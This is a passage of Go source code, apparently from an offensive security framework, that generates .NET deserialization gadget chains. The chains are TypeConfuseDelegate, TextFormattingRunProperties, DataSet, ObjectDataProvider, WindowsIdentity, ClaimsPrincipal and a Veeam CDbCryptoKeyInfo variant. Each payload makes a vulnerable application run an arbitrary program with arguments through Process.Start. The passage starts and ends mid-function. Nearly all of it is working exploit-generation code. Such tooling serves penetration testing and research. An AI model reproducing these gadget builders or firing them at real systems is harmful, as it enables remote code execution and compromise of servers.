finalGadget += recordStringBuilder.String() finalGadget += string(byte(RecordTypeEnumMap["MessageEnd"])) switch formatter { case LOSFormatter: return FormatLOS(finalGadget), true case BinaryFormatter: return finalGadget, true default: output.PrintFrameworkError("Invalid formatter chosen, this formatter supports: 'LOSFormatter', and 'BinaryFormatter'") return "", false } } func CreateDataSetXMLDiffGram(payloadIn string) (string, bool) { name0 := random.RandLettersRange(3, 9) name1 := random.RandLettersRange(3, 9) name2 := random.RandLettersRange(3, 9) string0 := ` ` b64String := make([]byte, base64.StdEncoding.EncodedLen(len(payloadIn))) base64.StdEncoding.Encode(b64String, []byte(payloadIn)) payloadB64 := string(b64String) string1 := ` <` + name0 + `> <` + name1 + ` diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted"> <` + name2 + ` xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> Deserialize ` + payloadB64 + ` ` libraryID := 2 binaryLibrary := BinaryLibraryRecord{ID: libraryID, Library: "System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"} className := "System.Data.DataSet" memberNames := []string{"XmlSchema", "XmlDiffGram"} var memberValues []any var additionalInfo []any memberTypes := []string{ "String", "String", } memberValues = append(memberValues, BinaryObjectString{ObjectID: 3, Value: string0}) memberValues = append(memberValues, BinaryObjectString{ObjectID: 4, Value: string1}) classInfo := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(memberNames), MemberNames: memberNames} memberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo) if !ok { return "", false } classWithMembersAndTypes := ClassWithMembersAndTypesRecord{ClassInfo: classInfo, LibraryID: libraryID, MemberTypeInfo: memberTypeInfo, MemberValues: memberValues, BinaryLibrary: binaryLibrary} classWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin() if !ok { return "", false } serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1} serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin() binLibString, _ := binaryLibrary.ToRecordBin() payload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + string(byte(RecordTypeEnumMap["MessageEnd"])) return payload, true } func CreateTextFormattingRunProperties(program string, args string, formatter string) (string, bool) { xmlData := fmt.Sprintf(`%s%s`, program, args) // validate the XML if !IsValidXML([]byte(xmlData)) { output.PrintfFrameworkError("Invalid XML, check for possible badchars, XML that was generated: %s", xmlData) return "", false } libraryID := 2 className := "Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties" members := []string{"ForegroundBrush"} binaryLibrary := BinaryLibraryRecord{ID: libraryID, Library: "Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"} classInfo := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(members), MemberNames: members} memberTypeInfo, ok := getMemberTypeInfo([]string{"String"}, members, nil) // corresponds to ForegroundBrush (a String) if !ok { return "", false } serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1} binaryObject := BinaryObjectString{ObjectID: 3, Value: xmlData} var memberValues []any memberValues = append(memberValues, binaryObject) classWithMembersAndTypes := ClassWithMembersAndTypesRecord{ClassInfo: classInfo, LibraryID: libraryID, MemberTypeInfo: memberTypeInfo, MemberValues: memberValues, BinaryLibrary: binaryLibrary} classWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin() if !ok { return "", false } serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin() binLibString, _ := binaryLibrary.ToRecordBin() payload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + string(byte(RecordTypeEnumMap["MessageEnd"])) switch formatter { case LOSFormatter: return FormatLOS(payload), true case BinaryFormatter: return payload, true case SOAPFormatter: xmlData, _, ok := FormatSOAP([]Record{classWithMembersAndTypes}) if !ok { return "", false } return xmlData, true default: output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'", formatter) return "", false } } func CreateDataSet(program string, args string, formatter string) (string, bool) { // Initial vars innerTextFormattingProperties, ok := CreateTextFormattingRunProperties(program, args, BinaryFormatter) if !ok { return "", false } libraryID := 2 className := "System.Data.DataSet" binaryLibrary := BinaryLibraryRecord{ID: libraryID, Library: "System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"} // MemberNames, then Types, then additional infos (for types that require it) all correspond to the memberValues var memberValues []any var additionalInfo []any var innerMemberValues []any var innerMemberTypeInfoAdditionalInfos []any // start creating OUTER classWithMembersAndTypes // start with arrays memberNames := []string{ "DataSet.RemotingFormat", "DataSet.DataSetName", "DataSet.Namespace", "DataSet.Prefix", "DataSet.CaseSensitive", "DataSet.LocaleLCID", "DataSet.EnforceConstraints", "DataSet.ExtendedProperties", "DataSet.Tables.Count", "DataSet.Tables_0", } memberTypes := []string{ "Class", "String", "String", "String", "Primitive", "Primitive", "Primitive", "Object", "Primitive", "PrimitiveArray", } additionalInfo = append(additionalInfo, ClassTypeInfo{TypeName: "System.Data.SerializationFormat", LibraryID: libraryID}) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Boolean"]) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"]) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Boolean"]) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"]) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Byte"]) classInfo := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(memberNames), MemberNames: memberNames} memberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo) if !ok { return "", false } // Create INNER classWithMembersAndTypes to be used as a member/membervalue of the 'OUTER' classWithMembersAndTypes innerMemberValues = append(innerMemberValues, 1) innerMemberTypeInfoAdditionalInfos = append(innerMemberTypeInfoAdditionalInfos, PrimitiveTypeEnum["Int32"]) innerMemberTypeInfo, ok := getMemberTypeInfo([]string{"Primitive"}, []string{"value__"}, innerMemberTypeInfoAdditionalInfos) if !ok { return "", false } innerClassWithMembersAndTypes := ClassWithMembersAndTypesRecord{ ClassInfo: ClassInfo{ ObjectID: -3, Name: "System.Data.SerializationFormat", MemberNames: []string{"value__"}, }, MemberTypeInfo: innerMemberTypeInfo, LibraryID: libraryID, MemberValues: innerMemberValues, BinaryLibrary: binaryLibrary, } // Finish creating the OUTER classWithMembersAndTypes using the innerClassWithMembersAndTypes as a member memberValues = append(memberValues, innerClassWithMembersAndTypes) memberValues = append(memberValues, BinaryObjectString{ObjectID: 4}) memberValues = append(memberValues, MemberReferenceRecord{IDRef: 4}) memberValues = append(memberValues, MemberReferenceRecord{IDRef: 4}) memberValues = append(memberValues, false) memberValues = append(memberValues, 1033) memberValues = append(memberValues, false) memberValues = append(memberValues, ObjectNullRecord{}) memberValues = append(memberValues, 1) memberValues = append(memberValues, MemberReferenceRecord{IDRef: 5}) classWithMembersAndTypes := ClassWithMembersAndTypesRecord{ ClassInfo: classInfo, LibraryID: libraryID, MemberTypeInfo: memberTypeInfo, BinaryLibrary: binaryLibrary, MemberValues: memberValues, } // Create arraySinglePrimitiveRecord to append before the end arraySinglePrimitiveRecord := ArraySinglePrimitiveRecord{ PrimitiveTypeEnum: PrimitiveTypeEnum["Byte"], ArrayInfo: ArrayInfo{ObjectID: 5, MemberCount: len(innerTextFormattingProperties)}, Members: string([]byte(innerTextFormattingProperties)), } // Put it all together then format & send it serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1} serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin() binLibString, _ := binaryLibrary.ToRecordBin() classWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin() if !ok { return "", false } arraySinglePrimitiveRecordString, _ := arraySinglePrimitiveRecord.ToRecordBin() payload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + arraySinglePrimitiveRecordString + string(byte(RecordTypeEnumMap["MessageEnd"])) switch formatter { case LOSFormatter: return FormatLOS(payload), true case BinaryFormatter: return payload, true case SOAPFormatterWithExceptions: return FormatSOAPWithExceptions([]Record{classWithMembersAndTypes, arraySinglePrimitiveRecord}) case SOAPFormatter: xmlData, _, ok := FormatSOAP([]Record{classWithMembersAndTypes, arraySinglePrimitiveRecord}) if !ok { return "", false } return xmlData, true default: output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter', 'SOAPFormatterWithExceptions'", formatter) return "", false } } // ObjectDataProvider. func CreateObjectDataProvider(program string, args string, formatter string) (string, bool) { gadget := map[string]any{ "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35", "MethodName": "Start", "MethodParameters": map[string]any{ "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "$values": []any{program, args}, }, "ObjectInstance": map[string]any{ "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", }, } // validating the output as JSON jsonData, err := json.Marshal(gadget) if err != nil { output.PrintfFrameworkError("Error serializing to JSON: %v", err) return "", false } payload := string(jsonData) switch formatter { case "JSONFormatter": return payload, true case "": return payload, true default: output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'JSONFormatter'", formatter) return "", false } } // TypeConfuseDelegate. func CreateTypeConfuseDelegate(program string, args string, formatter string) (string, bool) { mscorlibString := "mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" mscorlibSystemString := "System.String, " + mscorlibString systemlibString := "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" systemlibSystemDiagString := "System.Diagnostics.Process, " + systemlibString libraryID := 2 systemBinaryLibraryRecord := BinaryLibraryRecord{ID: libraryID, Library: systemlibString} /////// object8 obj8MemberNames := []string{"type", "assembly", "target", "targetTypeAssembly", "targetTypeName", "methodName", "delegateEntry"} obj8MemberTypes := []string{"String", "String", "Object", "String", "String", "String", "SystemClass"} var obj8additionalInfo []any obj8additionalInfo = append(obj8additionalInfo, "System.DelegateSerializationHolder+DelegateEntry") var obj8MemberValues []any obj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 11, Value: fmt.Sprintf("System.Func`3[[%s],[%s],[%s]]", mscorlibSystemString, mscorlibSystemString, systemlibSystemDiagString)}) obj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 12, Value: mscorlibString}) obj8MemberValues = append(obj8MemberValues, ObjectNullRecord{}) obj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 13, Value: systemlibString}) obj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 14, Value: "System.Diagnostics.Process"}) obj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 15, Value: "Start"}) obj8MemberValues = append(obj8MemberValues, MemberReferenceRecord{IDRef: 16}) obj8ClassInfo := ClassInfo{ ObjectID: 8, Name: "System.DelegateSerializationHolder+DelegateEntry", MemberNames: obj8MemberNames, } // innerMemberTypeInfo, ok := getMemberTypeInfo([]string{"Primitive"}, []string{"value__"}, innerMemberTypeInfoAdditionalInfos) obj8MemberTypeInfo, ok := getMemberTypeInfo(obj8MemberTypes, obj8MemberNames, obj8additionalInfo) if !ok { return "", false } obj8 := SystemClassWithMembersAndTypesRecord{ ClassInfo: obj8ClassInfo, MemberTypeInfo: obj8MemberTypeInfo, MemberValues: obj8MemberValues, } /////// object9 obj9MemberNames := []string{"Name", "AssemblyName", "ClassName", "Signature", "Signature2", "MemberType", "GenericArguments"} obj9MemberTypes := []string{"String", "String", "String", "String", "String", "Primitive", "SystemClass"} var obj9additionalInfo []any obj9additionalInfo = append(obj9additionalInfo, PrimitiveTypeEnum["Int32"]) obj9additionalInfo = append(obj9additionalInfo, "System.Type[]") var obj9MemberValues []any obj9MemberValues = append(obj9MemberValues, MemberReferenceRecord{IDRef: 15}) obj9MemberValues = append(obj9MemberValues, MemberReferenceRecord{IDRef: 13}) obj9MemberValues = append(obj9MemberValues, MemberReferenceRecord{IDRef: 14}) obj9MemberValues = append(obj9MemberValues, BinaryObjectString{ObjectID: 20, Value: "System.Diagnostics.Process Start(System.String, System.String)"}) obj9MemberValues = append(obj9MemberValues, BinaryObjectString{ObjectID: 21, Value: "System.Diagnostics.Process Start(System.String, System.String)"}) obj9MemberValues = append(obj9MemberValues, 8) obj9MemberValues = append(obj9MemberValues, ObjectNullRecord{}) obj9ClassInfo := ClassInfo{ ObjectID: 9, Name: "System.Reflection.MemberInfoSerializationHolder", MemberNames: obj9MemberNames, } obj9MemberTypeInfo, ok := getMemberTypeInfo(obj9MemberTypes, obj9MemberNames, obj9additionalInfo) if !ok { return "", false } obj9 := SystemClassWithMembersAndTypesRecord{ ClassInfo: obj9ClassInfo, MemberTypeInfo: obj9MemberTypeInfo, MemberValues: obj9MemberValues, } /// obj1 class var obj1AdditionalInfo []any var obj1MemberValues []any obj1MemberNames := []string{"Count", "Comparer", "Version", "Items"} obj1MemberTypes := []string{"Primitive", "SystemClass", "Primitive", "StringArray"} obj1MemberValues = append(obj1MemberValues, 2) obj1MemberValues = append(obj1MemberValues, MemberReferenceRecord{IDRef: 3}) obj1MemberValues = append(obj1MemberValues, 2) obj1MemberValues = append(obj1MemberValues, MemberReferenceRecord{IDRef: 4}) obj1AdditionalInfo = append(obj1AdditionalInfo, PrimitiveTypeEnum["Int32"]) obj1AdditionalInfo = append(obj1AdditionalInfo, fmt.Sprintf("System.Collections.Generic.ComparisonComparer`1[[%s]]", mscorlibSystemString)) obj1AdditionalInfo = append(obj1AdditionalInfo, PrimitiveTypeEnum["Int32"]) obj1MemberTypeInfo, ok := getMemberTypeInfo(obj1MemberTypes, obj1MemberNames, obj1AdditionalInfo) if !ok { return "", false } obj1ClassInfo := ClassInfo{ ObjectID: 1, Name: fmt.Sprintf("System.Collections.Generic.SortedSet`1[[%s]]", mscorlibSystemString), MemberNames: obj1MemberNames, } obj1 := ClassWithMembersAndTypesRecord{ ClassInfo: obj1ClassInfo, MemberTypeInfo: obj1MemberTypeInfo, MemberValues: obj1MemberValues, LibraryID: libraryID, } /// obj3 class var obj3AdditionalInfo []any var obj3MemberValues []any obj3MemberNames := []string{"_comparison"} obj3MemberTypes := []string{"SystemClass"} obj3MemberValues = append(obj3MemberValues, MemberReferenceRecord{IDRef: 5}) obj3AdditionalInfo = append(obj3AdditionalInfo, "System.DelegateSerializationHolder") obj3MemberTypeInfo, ok := getMemberTypeInfo(obj3MemberTypes, obj3MemberNames, obj3AdditionalInfo) if !ok { return "", false } obj3ClassInfo := ClassInfo{ ObjectID: 3, Name: fmt.Sprintf("System.Collections.Generic.ComparisonComparer`1[[%s]]", mscorlibSystemString), MemberNames: obj3MemberNames, } obj3 := SystemClassWithMembersAndTypesRecord{ ClassInfo: obj3ClassInfo, MemberTypeInfo: obj3MemberTypeInfo, MemberValues: obj3MemberValues, } // Create arraySinglePrimitiveRecord to append before the end var arraySingleStringMembers []any arraySingleStringMembers = append(arraySingleStringMembers, BinaryObjectString{ObjectID: 6, Value: args}) arraySingleStringMembers = append(arraySingleStringMembers, BinaryObjectString{ObjectID: 7, Value: program}) arraySingleStringRecord := ArraySingleStringRecord{ ArrayInfo: ArrayInfo{ObjectID: 4, MemberCount: 2}, Members: arraySingleStringMembers, } /// obj5 class var obj5AdditionalInfo []any var obj5MemberValues []any obj5MemberNames := []string{"Delegate", "method0", "method1"} obj5MemberTypes := []string{"SystemClass", "SystemClass", "SystemClass"} obj5MemberValues = append(obj5MemberValues, MemberReferenceRecord{IDRef: 8}) obj5MemberValues = append(obj5MemberValues, MemberReferenceRecord{IDRef: 9}) obj5MemberValues = append(obj5MemberValues, MemberReferenceRecord{IDRef: 10}) obj5AdditionalInfo = append(obj5AdditionalInfo, "System.DelegateSerializationHolder+DelegateEntry") obj5AdditionalInfo = append(obj5AdditionalInfo, "System.Reflection.MemberInfoSerializationHolder") obj5AdditionalInfo = append(obj5AdditionalInfo, "System.Reflection.MemberInfoSerializationHolder") obj5MemberTypeInfo, ok := getMemberTypeInfo(obj5MemberTypes, obj5MemberNames, obj5AdditionalInfo) if !ok { return "", false } obj5ClassInfo := ClassInfo{ ObjectID: 5, Name: "System.DelegateSerializationHolder", MemberNames: obj5MemberNames, } obj5 := SystemClassWithMembersAndTypesRecord{ ClassInfo: obj5ClassInfo, MemberTypeInfo: obj5MemberTypeInfo, MemberValues: obj5MemberValues, } // classWIthID 1 var classWithIDOneMemberValues []any classWithIDOneMemberValues = append(classWithIDOneMemberValues, BinaryObjectString{ObjectID: 22, Value: "Compare"}) classWithIDOneMemberValues = append(classWithIDOneMemberValues, MemberReferenceRecord{IDRef: 12}) classWithIDOneMemberValues = append(classWithIDOneMemberValues, BinaryObjectString{ObjectID: 24, Value: "System.String"}) classWithIDOneMemberValues = append(classWithIDOneMemberValues, BinaryObjectString{ObjectID: 25, Value: "Int32 Compare(System.String, System.String)"}) classWithIDOneMemberValues = append(classWithIDOneMemberValues, BinaryObjectString{ObjectID: 26, Value: "System.Int32 Compare(System.String, System.String)"}) classWithIDOneMemberValues = append(classWithIDOneMemberValues, 8) classWithIDOneMemberValues = append(classWithIDOneMemberValues, ObjectNullRecord{}) classWithIDOneRecord := ClassWithIDRecord{ ObjectID: 10, MetadataID: 9, MemberValues: classWithIDOneMemberValues, } // classWIthID 2 var classWithIDTwoMemberValues []any classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, BinaryObjectString{ObjectID: 27, Value: fmt.Sprintf("System.Comparison`1[[%s]]", mscorlibSystemString)}) classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, MemberReferenceRecord{IDRef: 12}) classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, ObjectNullRecord{}) classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, MemberReferenceRecord{IDRef: 12}) classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, MemberReferenceRecord{IDRef: 24}) classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, MemberReferenceRecord{IDRef: 22}) classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, ObjectNullRecord{}) classWithIDTwoRecord := ClassWithIDRecord{ ObjectID: 16, MetadataID: 8, MemberValues: classWithIDTwoMemberValues, } // final combination serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1} serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin() binLibString, _ := systemBinaryLibraryRecord.ToRecordBin() obj1String, ok := obj1.ToRecordBin() if !ok { return "", false } obj3String, ok := obj3.ToRecordBin() if !ok { return "", false } obj5String, ok := obj5.ToRecordBin() if !ok { return "", false } obj8String, ok := obj8.ToRecordBin() if !ok { return "", false } obj9String, ok := obj9.ToRecordBin() if !ok { return "", false } classWithIDOneString, ok := classWithIDOneRecord.ToRecordBin() if !ok { return "", false } classWithIDTwoString, ok := classWithIDTwoRecord.ToRecordBin() if !ok { return "", false } arraySingleStringRecordString, ok := arraySingleStringRecord.ToRecordBin() if !ok { return "", false } payload := serializationHeaderRecordString + binLibString + obj1String + obj3String + arraySingleStringRecordString + obj5String + obj8String + obj9String + classWithIDOneString + classWithIDTwoString + string(byte(RecordTypeEnumMap["MessageEnd"])) switch formatter { case LOSFormatter: return FormatLOS(payload), true case BinaryFormatter: return payload, true case "": return payload, true default: output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter'", formatter) return "", false } } func CreateWindowsIdentity(program string, args string, formatter string) (string, bool) { innerTypeConfuseDelegate, ok := CreateTypeConfuseDelegate(program, args, BinaryFormatter) if !ok { return "", false } b64String := make([]byte, base64.StdEncoding.EncodedLen(len(innerTypeConfuseDelegate))) base64.StdEncoding.Encode(b64String, []byte(innerTypeConfuseDelegate)) innerTypeConfuseDelegateBase64 := string(b64String) var memberValues []any memberValues = append(memberValues, BinaryObjectString{ObjectID: 2, Value: innerTypeConfuseDelegateBase64}) memberNames := []string{"System.Security.ClaimsIdentity.actor"} memberTypeInfo, ok := getMemberTypeInfo([]string{"String"}, memberNames, nil) if !ok { return "", false } classInfo := ClassInfo{ ObjectID: 1, Name: "System.Security.Principal.WindowsIdentity", MemberNames: memberNames, MemberCount: len(memberNames), } systemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{ MemberTypeInfo: memberTypeInfo, MemberValues: memberValues, ClassInfo: classInfo, } systemClassWithMembersAndTypesRecordString, ok := systemClassWithMembersAndTypesRecord.ToRecordBin() if !ok { return "", false } // Finalize it serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1} serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin() payload := serializationHeaderRecordString + systemClassWithMembersAndTypesRecordString + string(byte(RecordTypeEnumMap["MessageEnd"])) switch formatter { case LOSFormatter: return FormatLOS(payload), true case BinaryFormatter: return payload, true case "": return payload, true case SOAPFormatter: xmlData, _, ok := FormatSOAP([]Record{systemClassWithMembersAndTypesRecord}) if !ok { return "", false } return xmlData, true default: output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'", formatter) return "", false } } func CreateClaimsPrincipal(program string, args string, formatter string) (string, bool) { innerTypeConfuseDelegate, ok := CreateTypeConfuseDelegate(program, args, BinaryFormatter) if !ok { return "", false } b64String := make([]byte, base64.StdEncoding.EncodedLen(len(innerTypeConfuseDelegate))) base64.StdEncoding.Encode(b64String, []byte(innerTypeConfuseDelegate)) innerTypeConfuseDelegateBase64 := string(b64String) var memberValues []any memberValues = append(memberValues, BinaryObjectString{ObjectID: 5, Value: innerTypeConfuseDelegateBase64}) memberNames := []string{"m_serializedClaimsIdentities"} memberTypeInfo, ok := getMemberTypeInfo([]string{"String"}, memberNames, nil) if !ok { return "", false } classInfo := ClassInfo{ ObjectID: 1, Name: "System.Security.Claims.ClaimsPrincipal", MemberNames: memberNames, MemberCount: len(memberNames), } systemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{ MemberTypeInfo: memberTypeInfo, MemberValues: memberValues, ClassInfo: classInfo, } systemClassWithMembersAndTypesRecordString, ok := systemClassWithMembersAndTypesRecord.ToRecordBin() if !ok { return "", false } // Finalize it serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1} serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin() payload := serializationHeaderRecordString + systemClassWithMembersAndTypesRecordString + string(byte(RecordTypeEnumMap["MessageEnd"])) switch formatter { case LOSFormatter: return FormatLOS(payload), true case BinaryFormatter: return payload, true case "": return payload, true case SOAPFormatter: xmlData, _, ok := FormatSOAP([]Record{systemClassWithMembersAndTypesRecord}) if !ok { return "", false } return xmlData, true default: output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'", formatter) return "", false } } func CreateDataSetTypeSpoof(program string, args string, formatter string) (string, bool) { innerTextFormattingProperties, ok := CreateTextFormattingRunProperties(program, args, BinaryFormatter) if !ok { return "", false } systemDataString := "System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" binaryLibraryRecord := BinaryLibraryRecord{ID: 3, Library: systemDataString} className := "System.Data.DataSet, System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" // create INNER class var innerMemberValues []any innerMemberValues = append(innerMemberValues, 1) var innerMemberTypeInfoAdditionalInfos []any innerMemberTypeInfoAdditionalInfos = append(innerMemberTypeInfoAdditionalInfos, PrimitiveTypeEnum["Int32"]) innerMemberTypeInfo, ok := getMemberTypeInfo([]string{"Primitive"}, []string{"value__"}, innerMemberTypeInfoAdditionalInfos) if !ok { return "", false } innerClassWithMembersAndTypes := ClassWithMembersAndTypesRecord{ ClassInfo: ClassInfo{ ObjectID: -4, Name: "System.Data.SerializationFormat", MemberNames: []string{"value__"}, }, MemberTypeInfo: innerMemberTypeInfo, LibraryID: 3, MemberValues: innerMemberValues, BinaryLibrary: binaryLibraryRecord, } // Continue creating primary class var memberValues []any memberValues = append(memberValues, innerClassWithMembersAndTypes) memberValues = append(memberValues, BinaryObjectString{ObjectID: 5}) memberValues = append(memberValues, MemberReferenceRecord{IDRef: 5}) memberValues = append(memberValues, MemberReferenceRecord{IDRef: 5}) memberValues = append(memberValues, false) memberValues = append(memberValues, 1033) memberValues = append(memberValues, false) memberValues = append(memberValues, ObjectNullRecord{}) memberValues = append(memberValues, 1) memberValues = append(memberValues, MemberReferenceRecord{IDRef: 6}) memberNames := []string{ "DataSet.RemotingFormat", "DataSet.DataSetName", "DataSet.Namespace", "DataSet.Prefix", "DataSet.CaseSensitive", "DataSet.LocaleLCID", "DataSet.EnforceConstraints", "DataSet.ExtendedProperties", "DataSet.Tables.Count", "DataSet.Tables_0", } var additionalInfo []any additionalInfo = append(additionalInfo, ClassTypeInfo{TypeName: "System.Data.SerializationFormat", LibraryID: 3}) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Boolean"]) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"]) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Boolean"]) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"]) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Byte"]) memberTypes := []string{ "Class", "String", "String", "String", "Primitive", "Primitive", "Primitive", "Object", "Primitive", "PrimitiveArray", } memberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo) if !ok { return "", false } classInfo := ClassInfo{ ObjectID: 1, Name: className, MemberNames: memberNames, MemberCount: len(memberNames), } classWithMembersAndTypesRecord := ClassWithMembersAndTypesRecord{ MemberTypeInfo: memberTypeInfo, MemberValues: memberValues, ClassInfo: classInfo, LibraryID: 2, } // create an array Single Primitive arraySinglePrimitiveRecord := ArraySinglePrimitiveRecord{ PrimitiveTypeEnum: PrimitiveTypeEnum["Byte"], ArrayInfo: ArrayInfo{ObjectID: 6, MemberCount: len(innerTextFormattingProperties)}, Members: string([]byte(innerTextFormattingProperties)), } // Finalize/order the records serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1} serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin() binaryLibraryRecordString, ok := binaryLibraryRecord.ToRecordBin() if !ok { return "", false } mscorlibBinaryLibrary := BinaryLibraryRecord{ID: 2, Library: "mscorlib"} mscorlibBinaryLibraryString, ok := mscorlibBinaryLibrary.ToRecordBin() if !ok { return "", false } classWithMembersAndTypesRecordString, ok := classWithMembersAndTypesRecord.ToRecordBin() if !ok { return "", false } arraySinglePrimitiveRecordString, ok := arraySinglePrimitiveRecord.ToRecordBin() if !ok { return "", false } payload := serializationHeaderRecordString + mscorlibBinaryLibraryString + binaryLibraryRecordString + classWithMembersAndTypesRecordString + arraySinglePrimitiveRecordString + string(byte(RecordTypeEnumMap["MessageEnd"])) switch formatter { case LOSFormatter: return FormatLOS(payload), true case BinaryFormatter: return payload, true case "": return payload, true default: output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter'", formatter) return "", false } } func CreateVeeamCryptoKeyInfo(url string, formatter string) (string, bool) { innerObjRef, ok := CreateObjectRef(url, "") if !ok { return "", false } b64String := make([]byte, base64.StdEncoding.EncodedLen(len(innerObjRef))) base64.StdEncoding.Encode(b64String, []byte(innerObjRef)) innerObjRefB64 := string(b64String) memberTypes := []string{"SystemClass", "Object", "Primitive", "String", "String", "Primitive", "Primitive", "Primitive", "StringArray"} memberNames := []string{ "Id", "KeySetId", "KeyType", "Hint", "DecryptedKeyValue", "LocaleLCID", "ModificationDateUtc", "CryptoAlg", "RepairRecs", } var additionalInfo []any additionalInfo = append(additionalInfo, "System.Guid") additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"]) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"]) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["DateTime"]) additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"]) classInfo := ClassInfo{ ObjectID: 1, Name: "Veeam.Backup.Model.CDbCryptoKeyInfo", MemberCount: len(memberNames), MemberNames: memberNames, } // INNER CLASS for value var innerMemberValues []any var innerAdditionalInfo []any innerMemberNames := []string{"_a", "_b", "_c", "_d", "_e", "_f", "_g", "_h", "_i", "_j", "_k"} innerMemberTypes := []string{"Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive"} // 08 07 07 02 02 02 02 02 02 02 02 innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Int32"]) innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Int16"]) innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Int16"]) innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"]) innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"]) innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"]) innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"]) innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"]) innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"]) innerAdditionalInfo = append(innerAdditionalInfo, 